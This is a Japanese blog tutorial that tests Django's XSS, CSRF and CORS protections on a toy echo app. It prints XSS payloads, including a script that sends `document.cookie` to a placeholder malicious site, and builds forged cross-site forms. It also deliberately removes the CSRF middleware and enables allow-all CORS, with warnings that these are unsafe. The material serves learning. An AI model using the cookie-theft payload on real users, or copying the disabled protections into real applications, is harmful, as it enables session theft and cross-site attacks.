【Django入門】Djangoのセキュリティ実験してみた!XSS、CSRF、CORSなど

※ 当サイトではアフィリエイト広告を利用しています。リンクは広告リンクも含みます。

この記事は約41分で読めます。
広告

Djangoが備えているセキュリティ機能を理解するため簡単な例で実験しました。
入力して表示するだけのサンプルプログラムでXSS、CSRF、CORSに対する実験です。
その他のセキュリティ項目もご紹介します。
この記事はDjangoセキュリティの入り口的な内容で
決してここで紹介したことをやったから安全というわけではないのでご注意ください。
私が誤解してることがあるかもしれません。

広告

準備

入力欄に入力した文字をそのまま表示するプログラムを作ります。
PaizaCloud は無料インストールなしでPython、Djangoが使えます。
それを使っていきます。

PaizaCloudの左にあるターミナルをクリック
以下のコードを入力

secure_pjという名前でプロジェクトの作成
django-admin startproject secure_pj

secure_pjディレクトリへ移動
cd secure_pj

secure_appという名前でアプリ作成
python manage.py startapp secure_app
settings.py変更
secure_pj/secure_pj/settings.pyをダブルクリック

以下のように2か所変更
・ホストを全部許可する。
・アプリを追加

ALLOWED_HOSTS = [] → ALLOWED_HOSTS = ['*']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
  'secure_app.apps.SecureAppConfig',     

#補足説明1 'secure_app', だけでも動きますが、Djangoの公式チュートリアルでsecure_app/apps.pyにあるclass SecureAppConfig(AppConfig):のクラス名を追加
となっていたのでこうしています。

サンプルコード

プロジェクト(secure_pj)のurls.pyを変更

from django.contrib import admin
from django.urls import path,include

urlpatterns = [
    path('admin/', admin.site.urls),
    path('',include("secure_app.urls")),
]

アプリ(secure_app)のurls.pyは最初ないので
secure_appを右クリックして新規ファイル作成でurls.py作成
中身を以下にします。

from django.urls import path
from . import views

app_name    = "secure_app"
urlpatterns = [ 
    path('', views.SecureView.as_view(), name="index"),
]

views.pyを変更

from django.shortcuts import render
from django.views import View

class SecureView(View):
    def get(self, request, *args, **kwargs):

        return render(request,"secure_app/index.html")

secure_appを右クリック、新規ディレクトリでtemplatesディレクトリ作成
できたtemplatesを右クリック、secure_appディレクトリ作成
templates/secure_appを右クリックして新規ファイル作成でindex.html作成
中身を以下にします。

<!DOCTYPE html>
<html lang=”ja”>
<head>
<meta charset=”UTF-8″>
<title>Djangoセキュリティ実験</title>
</head>
    <body>
        <h2>Djangoセキュリティ実験</h2>

        <p>
        <label>ワード:<input type="text" id="nameText"></label>
        <input type="button" value="入力された文字を下にコピー" id="checkButton">
        </p>
        
        <p id="msg"></p>
        <br>
        <script>
        document.write("Javascriptで書いた1文です。");
        function butotnClick(){
        msg.innerHTML = nameText.value;
        }
        
        let nameText = document.getElementById('nameText');
        let msg = document.getElementById('msg');
        
        let checkButton = document.getElementById('checkButton');
        checkButton.addEventListener('click', butotnClick);
        </script>

    </body>
</html>
ターミナルでpython manage.py runserverでプログラムが実行できます。
PaizaCloudの右の8000をクリックすると実行できます。
何か入力してボタンを押すと下に、その文字が出力されます。

目次へ

クロスサイト・スクリプティング(XSS)

私の理解では掲示板やブログ投稿サービスなどで入力内容を表示する処理が悪用され
入力欄に文字列以外のHTML,JavaScriptを入力すると、
それを実行してしまうことで起こる攻撃かな。
正確な定義は調べてください。
以下は入力欄にinputタグ~が入力されたとき、ボタンが表示される例です。

以下を入力欄に入力してボタンを押す。
HTMLを入力してみる。
<input type="button" value="イチゲブログへ" onclick="location.href='https://kikuichige.com/'"></input>
inputタグが実行され「イチゲブログへ」ボタンが現れボタンを押すと移動してしまいます。

JavaScriptを入力してみる。
<script>document.write("inputでJavaScript実行した");</script>
これは実行できませんでした。
多分JavaScriptで対策されてるのかもしれません。

入力欄にHTMLを入力すると実行してしまうことが確認できました。
Djangoでこんな使い方はしないと思いますが
一応Djangoだから安心ということでもないので気にしておきましょう。

Postで送ってみる

上のプログラムはDjangoというよりHTMLとJavaScriptを使ったプログラムです。
Djangoを使ったプログラムに変更します。
入力した文字をPostで送ってみます。変更箇所は以下。

from django.shortcuts import render
from django.views import View

class SecureView(View):
    def get(self, request, *args, **kwargs):

        return render(request,"secure_app/index.html")

    def post(self, request, *args, **kwargs):

        nameText=request.POST["nameText1"]
        context={ "nameText" : nameText,}
        return render(request,"secure_app/index.html",context)
<!DOCTYPE html>
<html lang=”ja”>
<head>
<meta charset=”UTF-8″>
<title>Djangoセキュリティ実験</title>
</head>
    <body>
        <h2>Djangoセキュリティ実験</h2>
       	<form action="" method="POST">
	    {% csrf_token %}

        <label>ワード:<input type="text" id="nameText1" name="nameText1"></label>
    	<input type="submit" value="送信">

	    </form>  

        {{nameText}}

    </body>
</html>

先ほどと同じようにHTMLを入力しても今度はHTMLは実行されず
文字列として表示されます。JavaScriptも同じ。
目次へ

safeフィルタを使うときは注意!

safeフィルタを使ってHTMLが有効になることを確認します。
index.htmlの
   {{nameText}} →   {{nameText| safe}}
に変更するとHTMLが有効になります。

入力欄に<input type="button" value="イチゲブログへ" onclick="location.href='https://kikuichige.com/'"></input>を入力すれば
先ほどと同じボタンが現れます。
またさっきは実行できなかった。
<script>document.write("inputでJavaScript実行した");</script>も実行できてしまいます。
さらにネットで見つけた攻撃の具体例いくつかやってみました。

<script>alert(document.cookie)</script>→クッキーがポップアップ画面に表示されます。
Paizacloudへリクエストを送っているのでPaizaCloudのクッキーが表示されます。
自分の開発環境でやっている場合は出ないかもしれません。

<script>window.location='悪意のあるサイトのURL?id='+document.cookie;</script>
例<script>window.location='https://kikuichige.com';</script>
→表示するタイミングで別のページへ移動します。(例では私のブログkikuichige.comへ飛ぶ)

<script>window.location='https://kikuichige.com?id='+document.cookie;</script>
→実行したらクッキー付きで別のページへ飛ぶ。
下はアドレスバーに表示した結果です。
https://kikuichige.com/?id=csrftoken=KIRle***;%20_VC_***=Yo***;%20paizacloud_container_token=886***

具体的にどう悪用されるかは分かりませんが、かなり危険な感じがします。

以上よりDjangoのtemplatesを使っていれば
表示段階でHTMLなどは文字列に変換して表示するようになっています。
safeフィルタを使えば文字列に変換はされずHTMLやJavaScriptとして実行される。
アプリが完成したら自分で入力欄にHTMLやJavaScript入力して確認してみるのがいいかもしれません。

簡単なのはHTML確認には<hr>を入力すると線が引かれます。
JavaScript確認には
<script>document.write("Hello world");</script>でHello Worldと表示させる。
ネットで調べると攻撃の例として以下のような例がありますが
"><script>alert('')</script><!--
これはPHPに対してのものかな?
safeフィルタのパターンで確認してみると実行はされますが">は文字列として表示されます。
safeフィルタなしだったら、ちゃんとエスケープして文字列として表示されます。
何か意味があるかもしれませんので、このパターンも試した方がいいかも。

UTF-7

今回参考にさせていただいている
クロスサイトスクリプティング(XSS)とは | 分かりやすく図解で解説UTF-7に対策が必要とあります。

HTTPのレスポンスヘッダの「Content-Type」フィールドには、「Content-Type: text/html;charset=UTF-8」のように、文字コードを指定することができます。Webサイトには必ず文字コードを指定するようにしましょう。

クロスサイトスクリプティング(XSS)とは | 分かりやすく図解で解説

これに関してdjangoの場合DEFAULT_CHARSETが該当するかと思います。
DjangoのSettingsDEFAULT_CHARSET参照(デフォルトUTF-8)

実験してみます。
settings.pyに以下の行を追加して
DEFAULT_CHARSET='utf-7'
実行します。文字表示はおかしくなります。
上の記事で紹介されてる+ADw-script+AD4- alert(+ACI-xss+ACI-) +ADw-/script+AD4-を入力してみるとaleartが表示されます。
ということでこれも対策されてるようです。

実験が終わったらDEFAULT_CHARSET='utf-8'に戻してください。

目次へ

完全ではない

Django のセキュリティにXSSに関して保護されない例が載っています。

CSRF

次にCSRFの実験をします。
私の理解ではアプリケーションと紐づいていない別サイトのformからの送信を受け付けてしまうことを利用した攻撃かな。正確な定義は調べてください。

formタグに入れる

Postで送ってみるのindex.htmlの{% csrf_token %}を消して実行すると403CSFRエラーがでるのを確認できます。
デフォルトで入ってるミドルウェアdjango.middleware.csrf.CsrfViewMiddlewareと
htmlファイルのformに {% csrf_token %}を書くだけでDjangoではCSRF対策ができています。

原理は {% csrf_token %}が以下のようなタグに書き換えられます。
ブラウザの開発者ツール→要素で該当部分をみると以下になっています。
<input type=”hidden” name=”csrfmiddlewaretoken” value=”SkeJb****Ly5FiS”>
正規のフォームは、このvalue(”SkeJb****Ly5FiS”)が一緒に送られるので
正規のフォームにユーザーがデータを入力して送ったものは
サーバーで控えてあるvalue値との整合が行われ正しいフォームから送られてきたと判断されます。
グラフを表示するアプリ(表示するまで数分かかることがあります)
開発者ツール(edgeの場合、どこかで右クリック→「開発者ツールで調査する」→ネットワークタグ)を表示させX:とY:に適当な数字をいれて送信をクリックする。
下段に通信の様子が表示されるので名前mt/をクリックしてペイロードタグをクリックするとxvalue、yvalueとともにcsrfmiddlewaretokenが送られているのが確認できます。

AJAX(Fetch)

formタグの中に {% csrf_token %}を入れない場合です。
PostリクエストにX-CSRFToken という独自ヘッダーを作り CSRF トークンの値を設定するようです。
Djangoのクロスサイトリクエストフォージェリ (CSRF) 対策注意、ドキュメント4.0で古いが、その内容で書いています。2023/06/26現在4.2が最新です。)をRenderにデプロイして実験した。
実験サイト(立ち上がるまで数分かかる場合があります)
Renderへのデプロイ方法は以下を参照してください。

CSRF_USE_SESSIONS と CSRF_COOKIE_HTTPONLY がFalseのときとTrueで場合分けされています。
この設定値については詳しく分かりませんが初期値はhttps://github.com/django/django/blob/main/django/conf/global_settings.pyを見るとCSRF_USE_SESSIONS と CSRF_COOKIE_HTTPONLY が False に設定されています。
この値はsettings.pyで上書き設定できます。
Falseのときはクッキーにセットされたcsrftokenの値をX-CSRFTokenに設定。
Trueのときは {% csrf_token %}を使いcsrfmiddlewaretokenの値をX-CSRFTokenに設定。
(formタグに書いたようにbodyの中にcsrfmiddlewaretokenは不要)
いろいろ実験して分かったこと

  • csrftoken(固定、有効期限約1年になってる)とcsrfmiddlewaretoken(毎回違う)は値が異なる。
  • クッキーのcsrftokenは削除(ブラウザの設定→Cookie とサイトのアクセス許可→Cookie とサイト データの管理と削除→ すべての Cookieを表示する→アプリのドメイン(例secure-pj.onrender.com)の中にcsrftokenがある。)するとクッキーにセットできなくなる。試しにindex.htmlに {% csrf_token %}を書くとset-Cookieされるときもあるがされないときもある。不安定。
  • クッキーを強制的にセットする ensure_csrf_cookie()の使い方が分からない。

以上よりTrueとFalseを使い分ける目的やセキュリティ的にどうかは判断できませんが、Trueの方法のほうが扱いやすいと思いました。
Falseはクッキーにcsrftokenをセットするのが厄介。
Renderにデプロイした実験ソースの主な部分だけ載せます。

settings.py
CSRF_USE_SESSIONS=True
CSRF_COOKIE_HTTPONLY=True
from django.shortcuts import render
from django.views import View
from django.http.response import JsonResponse

class SecureView(View):
    def get(self, request, *args, **kwargs):

        return render(request,"secure_app/index.html")

    def post(self, request, *args, **kwargs):

        nameText=request.POST["nameText1"]
        context={ "nameText" : nameText,}
        # return render(request,"secure_app/index.html",context)
        return JsonResponse(context)
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>CSRF実験、FetchでPOST送信</title>
</head>
<body>
    <section>
        <h1>CSRF実験</h1>
            <p>Fetchで送ってみる</p>
            <form class="fetchForm">
                <input type="text" id="nameText1" name="nameText1" size="30" maxlength="30" class="name">
                <input type="button" value="送信" class="btn">      
            </form>
    <div id="text_area"></div>
    </section>
    <!--  CSRF_USE_SESSIONS or CSRF_COOKIE_HTTPONLY is True -->
    {% csrf_token %}
    <script>
	const fetchForm = document.querySelector('.fetchForm');
	const btn = document.querySelector('.btn');
	const url = 'https://secure-pj.onrender.com/';
//  CSRF_USE_SESSIONS or CSRF_COOKIE_HTTPONLY is Falseのときstart
    function getCookie(name) {
        let cookieValue = null;
        if (document.cookie && document.cookie !== '') {
            const cookies = document.cookie.split(';');
            for (let i = 0; i < cookies.length; i++) {
                const cookie = cookies[i].trim();
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) === (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
    // const csrftoken = getCookie('csrftoken');
//  CSRF_USE_SESSIONS or CSRF_COOKIE_HTTPONLY is Falseのときend
    // エラー出るか確認用
    // const csrftoken = '1234567';

    // CSRF_USE_SESSIONS or CSRF_COOKIE_HTTPONLY is True
    const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value;

	const postFetch = () => {
	    let formData = new FormData(fetchForm);
	    for (let value of formData.entries()) {
        	console.log(value);
    	}

	    fetch(url, {
        	method: 'POST',
            headers: {'X-CSRFToken': csrftoken},
            mode: 'same-origin',// Do not send CSRF token to another domain.
        	body: formData
   	 }).then((response) => {
        	if(!response.ok) {
        	    console.log('error!');
        	} 
             	return response.json();
   	 }).then((data)  => {
	        const text_area = document.getElementById('text_area');
	        // text_area.innerHTML = data.nameText;
            text_area.innerText = data.nameText;
	    }).catch((error) => {
		console.log('err');
	        console.log(error);
	    });
	};

	btn.addEventListener('click', postFetch, false);

	</script>
</body>
</html>

上から順番にきたときだけうまくいきます。何回もやるとうまくいきません。
次にCSRFの実験をします。
私の理解ではアプリケーションと紐づいていない別サイトのformからの送信を受け付けてしまうことを利用した攻撃かな。正確な定義は調べてください。
以下のニセのformをメモ帳などで作ってください。
actionのところはアプリを動かしているところのurlになります。

<!DOCTYPE html>
<html lang=”ja”>
<head>
<meta charset=”UTF-8″>
<title>Djangoセキュリティ実験ニセサイト</title>
</head>
    <body>
        <h2>Djangoセキュリティ実験ニセサイト</h2>
	<form action="https://localhost-人によって違う.paiza-user-free.cloud:8000/" method="POST">

        <p>
        <label>ワード:<input type="text" id="nameText1" name="nameText1"></label>
        <input type="submit" value="送信">
        </p>
  	</form>        
    </body>
</html>

これを実行して何か入力して送信を押すと
Forbidden (403)
CSRF verification failed. Request aborted.というエラーで
アプリケーションにアクセスすることができません。
DjangoのCSRF対策が効いています。

通信内容を確認してみます。
(Edgeの場合は右クリック→「開発者ツールで調査する」、chromeは「検証」のネットワークで見れます。)
要求ヘッダの
Cookie: csrftoken=NclT2DTpoyDYXaRB略fJj2fa9jr8KiOOcFv88はあるけどbody(ペイロード)にcsrfmiddlewaretokenはありません。
formで送ったときはcsrfmiddlewaretokenが必要なようです。

CSRFトークンは2つある?

csrfトークンは2種類あるようです。PaizaCloud使ってるからかもしれません。
上の方でやった「POSTで送ってみる」でformでPOSTしたときの様子を検証ツールで確認してみます。

0,最初のGETの応答ヘッダでクッキーにcsrftoken(PaizaCloud使ってるからかも)をセット(1年間有効)
set-cookie: csrftoken=NclT2DTpoyDYXaRB略fJj2fa9jr8KiOOcFv88; expires=Thu, 31 Aug 2023 00:06:18 GMT; Max-Age=31449600; Path=/; secure; SameSite=None; SameSite=None; Secure

1,POSTしたときの要求ヘッダでcsrftoken、bodyでcsrfmiddlewaretokenを送信
Cookie: csrftoken=NclT2DTpoyDYXaRB略fJj2fa9jr8KiOOcFv88; 
body(edgeの場合ペイロードタブで見れる)にcsrfmiddlewaretoken: MIpeRoNlyXlQD略BHx2JvCqlZU4wGrP2

2,要素でみると(csrfmiddlewaretokenが埋め込まれている場所)
<input type="hidden" name="csrfmiddlewaretoken" value="PgVEGB0RhhybcA4y5c8lyqF略GWFWgM7VSrmoVf0BZ3uTH">

1、と2、でcsrfmiddlewaretokenの値が違うのは1,は送信前に送られてきたformのcsrfmiddlewaretokenで2は送信後に改めて送られてきたformのものです。つまり毎回値が変わります。
2,のcsrfmiddlewaretokenが入ってるinputタグはプログラム作るときにindex.htmlに書いた{% csrf_token %}が変換されたものです。

CSRF対策を無効にしてみる

デフォルトで入ってるミドルウェアdjango.middleware.csrf.CsrfViewMiddlewareと
htmlファイルのformに {% csrf_token %}を書くだけでDjangoではCSRF対策ができています。

原理は {% csrf_token %}が以下のようなタグに書き換えられます。
<input type=”hidden” name=”csrfmiddlewaretoken” value=”SkeJb****Ly5FiS”>
正規のフォームは、このvalueが一緒に送られるので
正規のフォームにユーザーがデータを入力して送ったものはサーバーで控えてあるvalue値との整合が行われ
正しいフォームから送られてきたと判断されます。
このvalueがない送信データはニセサイトから送られた物と判断できるわけです。

CSRFを無効にします。
settings.pyのMIDDLEWARE = [にある
'django.middleware.csrf.CsrfViewMiddleware',を削除しました。
サーバーを立ち上げて、もう一度ニセサイト(自分のパソコンにアドレスバーがなってるか確認)から入力すると
うまくいく場合といかない場合かあります。(実験の仕方が悪い?)
うまくいく場合はbodyにcsrfmiddlewaretokenがなくても大丈夫でした。

405 Method Not Allowedになる場合。
プラウザ→右クリック→edgeの場合「開発者ツールで調査する」→ネットワークタブで該当する通信の名前をクリックするとみれます。応答ヘッダを見るとallow: GET, HEAD, OPTIONSとなっていてPOSTが認められていません。
前はエラーにならなかったのですが2022/9/1確認では何回かやると405のエラーになりました。
 python -m django --versionでバージョン確認すると3.0.2
決して新しいバージョンではないし前は確認しなかった。
エラーにならずサーバーから値の入っていない(None)正規のindex.htmlが送られてきて表示します。
その後CORS関連の実験をしていたら同じことやっても
Noneではなく受け付けるようになってしまった。
要求ヘッダのOrign:を見ると
(プラウザで右クリック→開発者ツールのネットワークタブで該当する通信の名前をクリックするとみられる)
正規サイトからの時はhttps://localhost-***-1.paiza-user-free.cloud:8000
ニセサイトの時はnullとなってます。
なのでNoneになったのはOrignが違うところのリクエストは受け付けないという
同一オリジンポリシーに反しているためNoneで返ってくるのかと推測しました。

しかし今の状態は上記ミドルウェアを削除したりニセサイトに正規サイトの
<input type="hidden" name="csrfmiddlewaretoken" value="SkeJb****Ly5FiS">をコピーしても受け付けます。同一オリジンポリシー違反は機能してないように見えます。

"同一オリジンポリシー form action"で検索すると
同一オリジンポリシーが適用されないケースとして
<form>タグの action 属性で設定した送信先 URLというのがありました。
(MDNには載っていない)
ということで動きとしては正常か。Noneが出たのは別の要因か?
実験のやり方が悪いかもしれませんが再現しなくなったのが気になります。

いずれにしろDjangoのCSRF対策を外すのは危険なことは分かりました。

fetchのCSRFはどうなっているか調べた

以下のようにDjangoにindex.htmlを持っていき実行するとCSRF有効だと403CSRFエラーになる。(新しくプロジェクト作り直しても同じ)
要求ヘッダのcookieはcsrftoken=NclT2DTpoyDYXaRB略fJj2fa9jr8KiOOcFv88で同じ。bodyにcsrfmiddlewaretokenはなし。
MIDDLEWARE = [にある ‘django.middleware.csrf.CsrfViewMiddleware’,を削除すれば403CSRFエラー発生せず正常に動作。
プラウザの設定からcookieを名前がcsrftokenで値が同じものを削除してやった。状況はCSRFを有効にすれば動くし無効にすれば403エラー。ただcookieにcsrftokenは存在しない。このcsrftokenは関係ないのか?結局結論はでませんでした。

from django.shortcuts import render
from django.views import View
from django.http.response import JsonResponse #追加
class SecureView(View):
    def get(self, request, *args, **kwargs):

        return render(request,"secure_app/index.html")

    def post(self, request, *args, **kwargs):

        nameText=request.POST.get("nameText1")
        context={ "nameText" : nameText,}
        # return render(request,"secure_app/index.html",context)
        return JsonResponse(context)
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>FetchでPOST送信</title>
</head>
<body>
    
    <section>
        <h1>ニセサイト3</h1>
        <p>abc</p>
        
            <p>Fetchで送ってみる</p>
            <form class="fetchForm">
                <input type="text" id="nameText1" name="nameText1" size="30" maxlength="30" class="name">
                <input type="button" value="送信" class="btn">      
            </form>
    <div id="text_area"></div>
    </section>
    <div id="test"></div>
    <script>
	const fetchForm = document.querySelector('.fetchForm');
	const btn = document.querySelector('.btn');
	const url = 'https://localhost-sumoayui-1.paiza-user-free.cloud:8000/';

	const postFetch = () => {
	    let formData = new FormData(fetchForm);
	    for (let value of formData.entries()) {
        	console.log(value);
    	}

	    fetch(url, {
        	method: 'POST',
		credentials: "include",
		mode: 'cors',
        	body: formData
   	 }).then((response) => {
        	if(!response.ok) {
        	    console.log('error!');
        	} 
             	return response.json();
   	 }).then((data)=>{
   document.getElementById("test").innerHTML=data.nameText;
  });
	};

	btn.addEventListener('click', postFetch, false);

	</script>
	
</body>
</html>

同一オリジンポリシーをCorsheadersで無効にしてみる

2022/9/1うまく実験できない場合があります。CSRFのミドルウェアを削除してもPOSTを送ると405 Method Not Allowedになるときがあります。
外部APIを使用するときなど同一オリジンポリシーを無効にして使いたい場面もあります。
そういうときCorsheadersを使えば同一オリジンポリシーを無効にできます。

Originの意味ですが、私のパソコン(同じIP)からリクエスト送ると
同じOrignではないかと考えがちです。
ここでいうOrignとは入力formを含んだhtmlがどこから来たものかを表しています。
要求ヘッダのORIGIN:を見ると正規のindex.htmlは
Origin: https://localhost-****-1.paiza-user-free.cloud:8000
ニセサイトはOrigin: null
自分のパソコンのファイルをダブルクリックして立ち上げたから出所不明ということでnull。

fetchを使って送受信

実験用のサイト(html)を用意します。
JavaScriptのfetchを使ってデータを送受信するニセサイト2を作ります。
下記fetchpost.htmlをメモ帳などで作ってください。
const url = は自分のurlに変更してください。
credentials: “include”,はurlに紐づいているクッキーが送られます。
クッキーを送らないとPaizaCloudにログイン状態のパソコンのリクエストであることを知らせることができずうまくいきません。(自分の開発環境でやっている人には関係ありません。)
クッキーを送る設定(credentials: “include”)は安易に流用すると危険なので注意してください。
逆にこのクッキー付きのリクエストが送れればログインできてしまうので
そういうことをさせないためにCSRFや同一オリジンポリシーがあるんですね。
このリクエスト内容が見たい場合はプラウザ→右クリック→edgeの場合「開発者ツールで調査する」→ネットワークタブで該当する通信の名前をクリックするとみれます。

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>FetchでPOST送信</title>
</head>
<body>
    <section>
        <h1>ニセサイト2</h1>
            <p>Fetchで送ってみる</p>
            <form class="fetchForm">
                <input type="text" id="nameText1" name="nameText1" size="30" maxlength="30" class="name">
                <input type="button" value="送信" class="btn">      
            </form>
    <div id="text_area"></div>
    </section>
    <script>
	const fetchForm = document.querySelector('.fetchForm');
	const btn = document.querySelector('.btn');
	const url = 'https://localhost-人によって違う-1.paiza-user-free.cloud:8000/';

	const postFetch = () => {
	    let formData = new FormData(fetchForm);
	    for (let value of formData.entries()) {
        	console.log(value);
    	}

	    fetch(url, {
        	method: 'POST',
		credentials: "include",
		mode: 'cors',
        	body: formData
   	 }).then((response) => {
        	if(!response.ok) {
        	    console.log('error!');
        	} 
             	return response.json();
   	 }).then((data)  => {
	        const text_area = document.getElementById('text_area');
	        text_area.innerHTML = data.nameText;
	    }).catch((error) => {
		console.log('err');
	        console.log(error);
	    });
	};

	btn.addEventListener('click', postFetch, false);

	</script>
</body>
</html>

DjangoでCorsheadersを使えるようにする。

csrf対策も無効な状態にしておきます。
MIDDLEWARE = [にある ‘django.middleware.csrf.CsrfViewMiddleware’,を削除します。
削除しないでCors対策だけするとForbidden (403)CSRF verification failed. Request aborted.になりました。
2022/9/1削除しても405 Method Not Allowedになる場合もあります。

Corsheadersに必要なライブラリをインストールします。

pip install django-cors-headers
settings.pyを以下のように書き換えます。
INSTALLED_APPS = [
・・・・
'corsheaders',#追加

MIDDLEWARE = [
・・・・
'corsheaders.middleware.CorsMiddleware',#追加
]

CORS_ORIGIN_ALLOW_ALL =True #追加 どこからでも受け入れるので危険な設定
# CORS_ORIGIN_WHITELIST = [ #個別に許可する場合はこっちを使う
#     'http://***.jp', 
# ]
# レスポンスを公開する
CORS_ALLOW_CREDENTIALS = True #追加

ニセサイト2から来たデータに一言付けて送るようにviews.pyを以下のように変更します。

from django.shortcuts import render
from django.views import View
from django.http.response import JsonResponse

class SecureView(View):
    def get(self, request, *args, **kwargs):
        return render(request,"secure_app/index.html")
    def post(self, request, *args, **kwargs):
        nameText=request.POST["nameText1"]
        context={ "nameText" : nameText+'が送られた!',}
        return JsonResponse(context)

これでサーバーを立ち上げニセサイト2もダブルクリックで立ち上げます。
ニセサイト2にデータを入れて送信を押すと下に~が送られた!と表示されます。
CORS_ORIGIN_ALLOW_ALL =Falseにすると
同一オリジンポリシーに引っかかて反応しません。(ネットワークで赤文字になっているが通信自体は200で正常終了になっている状態。)
これではよくわからないので
Edgeの場合は右クリック→「開発者ツールで調査する」、chromeは「検証」で動作確認することができます。
ネットワークタブをクリックし、もう一度送信します。
コンソールにfrom origin ‘null’ has been blocked by CORS policyと出てます。

次にsettings.pyのCORS_ORIGIN_ALLOW_ALL =Trueにしてやってみます。
状態テキストはOKで
名前をクリックして応答ヘッダを見るとaccess-control-allow-origin: nullで、
オリジンがnullでも通信が許可されてます。
実際の使用場面ではCORS_ORIGIN_ALLOW_ALLを設定するのではなく
CORS_ORIGIN_WHITELISTで個別に許可するところを指定したほうが安全ですね。

セキュリティ関連設定のチェック

python manage.py check --deploy
を実行すると以下のような結果が返ってきます。
security.W004という形で番号がついてますのでネットで検索すれば対策方法が出てきます。
対策が必要かどうかの判断は難しいですね。
1回デプロイして動き確認したあとに変更するほうが
設定変えておかしくなったとき何が影響してるのか判定できると思います。

WARNINGS:
?: (security.W004) You have not set a value for the SECURE_HSTS_SECONDS setting. If your entire site is served only over SSL, you may want to consider setting a value and enabling HTTP Strict Transport Security. Be sure to read the documentation first; enabling HSTS carelessly can cause serious, irreversible problems.
?: (security.W008) Your SECURE_SSL_REDIRECT setting is not set to True. Unless your site should be available over both SSL and non-SSL connections, you may want to either set this setting True or configure a load balancer or reverse-proxy server to redirect all connections to HTTPS.
?: (security.W012) SESSION_COOKIE_SECURE is not set to True. Using a secure-only session cookie makes it more difficult for network traffic sniffers to hijack user sessions.
?: (security.W016) You have 'django.middleware.csrf.CsrfViewMiddleware' in yourMIDDLEWARE, but you have not set CSRF_COOKIE_SECURE to True. Using a secure-only CSRF cookie makes it more difficult for network traffic sniffers to steal the CSRF token.
?: (security.W018) You should not have DEBUG set to True in deployment.
?: (security.W022) You have not set the SECURE_REFERRER_POLICY setting. Withoutthis, your site will not send a Referrer-Policy header. You should consider enabling this header to protect user privacy.

ちなみにsecurity.W008の対策でSECURE_SSL_REDIRECT = TrueにするとPaizaCloudでは
.paiza-user-free.cloud へのリダイレクト回数が多すぎます。
というエラーでプラウザ全部閉じないと復活できなくなりました。

以上ですがSQLインジェクションなどについても記事追加予定です。
基本的に対策されてるようです。
この記事に書いてあることは、あくまで私の理解なので
セキュリティ対策に関する部分は、別途、自己責任でご確認ください。

目次へ

このブログを書いてるイチゲをOFUSEで応援する

MENTAやってます(ichige)

コメント

タイトルとURLをコピーしました